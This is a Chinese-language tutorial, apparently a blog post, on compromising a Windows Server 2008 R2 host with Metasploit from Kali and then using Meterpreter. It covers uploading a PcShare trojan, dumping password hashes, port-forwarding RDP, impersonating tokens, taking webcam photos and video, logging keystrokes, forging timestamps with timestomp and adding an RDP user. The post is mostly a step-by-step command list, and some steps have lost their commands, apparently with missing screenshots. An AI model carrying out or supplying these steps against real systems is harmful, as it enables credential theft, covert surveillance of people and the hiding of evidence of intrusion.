一、获取目标主机(Windows Server 2008 R2)IP地址:
确保Kali和目的主机互通:
二、kali机运行MSF:
命令:msfconsole
三、查找漏洞利用模块:
四、使用模块,并设置目标信息及payload(有效载荷):
payload:可理解为要上传的木马。
五、使用模块进行攻击:
查看有效载荷提供的可执行命令:
例:获取目标主机shell
六、后期攻击使用方法:
1、生成的木马文件并上传至Kali:
使用PcShare生成木马:运行PcShare,点击创建客户,IP地址填写运行PcShare程序的主机地址,生成文件后上传到Kali虚拟机英文目录下:
2、向目标主机上传木马文件
3、执行上传的木马文件
命令1:文件下载:
命令:download -r 文件路径
命令2:创建CMD新通道:
命令:execute -f cmd -c
命令3:显示目标主机上的进程:
命令4:使用Hashdump转储所有hash值(破解目标主机用户密码)
输出的每一行内容格式如下:Username: SID:LM hash:NTLM hash
命令5:使用Credcollect转储hash值
命令6::创建端口转发
meterpreter shell中的portfwd命令是转发技术中最常用的一个命令,可以让攻击系统访问本来无法直接访问的目标主机。
add选项会将端口转发添加到列表中,而且本质上会创建一个隧道。
请注意:这个隧道存在于meterpreter控制台之外,任何终端会话都可以使用。
命令:portfwd add -l 6666 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地6666端口
命令7:获取admin权限:
获取Windows系统最高权限(system)
命令8:删除端口转发记录:
跟创建端口转发命令类似,这条命令是删除一条端口转发记录
命令:portfwd delete -l <portnumber> -p <portnumber> -r <Target IP>
如果你想显示所有端口转发记录,你可以使用portfwd list命令,如果你想删除所有的记录,可以使用portfwd flush命令
命令9:在目标主机上搜索文件
搜索命令可以来定位查找目标主机上的特定文件。这个命令可以搜索整个文件系统,也可以搜索特定的文件夹。
例如,如果你想搜索目标主机上的所有txt文件,可以使用下列命令:
命令:search -f *.txt
命令10:获取系统信息
sysinfo命令会显示系统名,操作系统,架构和语言等。
命令:sysinfo
命令11:模拟任意用户(token操作)
这个进程对于攻击像微软活动目录这样的分布式系统非常有帮助,因为在微软活动目录中,本地访问权限并没多大用,但是如果能搞到凭证尤其是管理员凭证,那就非常有用了。
incognito最开始是一个独立的应用,当你成功入侵系统后可以用它来模拟用户tokens。这个应用后来集成到了metasploit,并且最终集成到了meterpreter中,使用如下:
• 在meterpreter会话中加载这个模块非常简单,只要输入 use incognito命令即可;
use incognito
• 输入list_tokens -u来显示所有有效的tokens;
list_tokens -u
• 然后我们需要模拟某个token来获取其权限。还有注意,如果成功模拟了一个token,我们可以使用getuid命令来检查当前用户ID。
impersonate_token “Machine\\user”
命令12:webcam摄像头命令
webcam_list #查看摄像头
webcam_snap #通过摄像头拍照
webcam_stream #通过摄像头开启视频
命令13:execute执行文件
execute #在目标机中执行文件
execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互
命令14:timestomp伪造时间戳
timestomp C:// -h #查看帮助
timestomp -v C://Users//Administrator//Desktop//1.inf #查看1.inf的时间戳
timestomp -v C://Users//Administrator//Desktop//2.inf #查看2.inf的时间戳
timestomp C://Users//Administrator//Desktop//1.inf -f C://Users//Administrator//Desktop//2.inf #将1.inf的时间戳复制给2.inf
命令15:enable_rdp脚本开启3389
run post/windows/manage/enable_rdp #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 #添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 #将3389端口转发到6662
脚本位于/usr/share/metasploit-framework/modules/post/windows/manage/enable_rdp.rb
通过enable_rdp.rb脚本可知:开启rdp是通过reg修改注册表;添加用户是调用cmd.exe 通过net user添加;端口转发是利用的portfwd命令.
命令20:键盘记录
keyscan_start #开始键盘记录
keyscan_dump #导出记录数据
keyscan_stop #结束键盘记录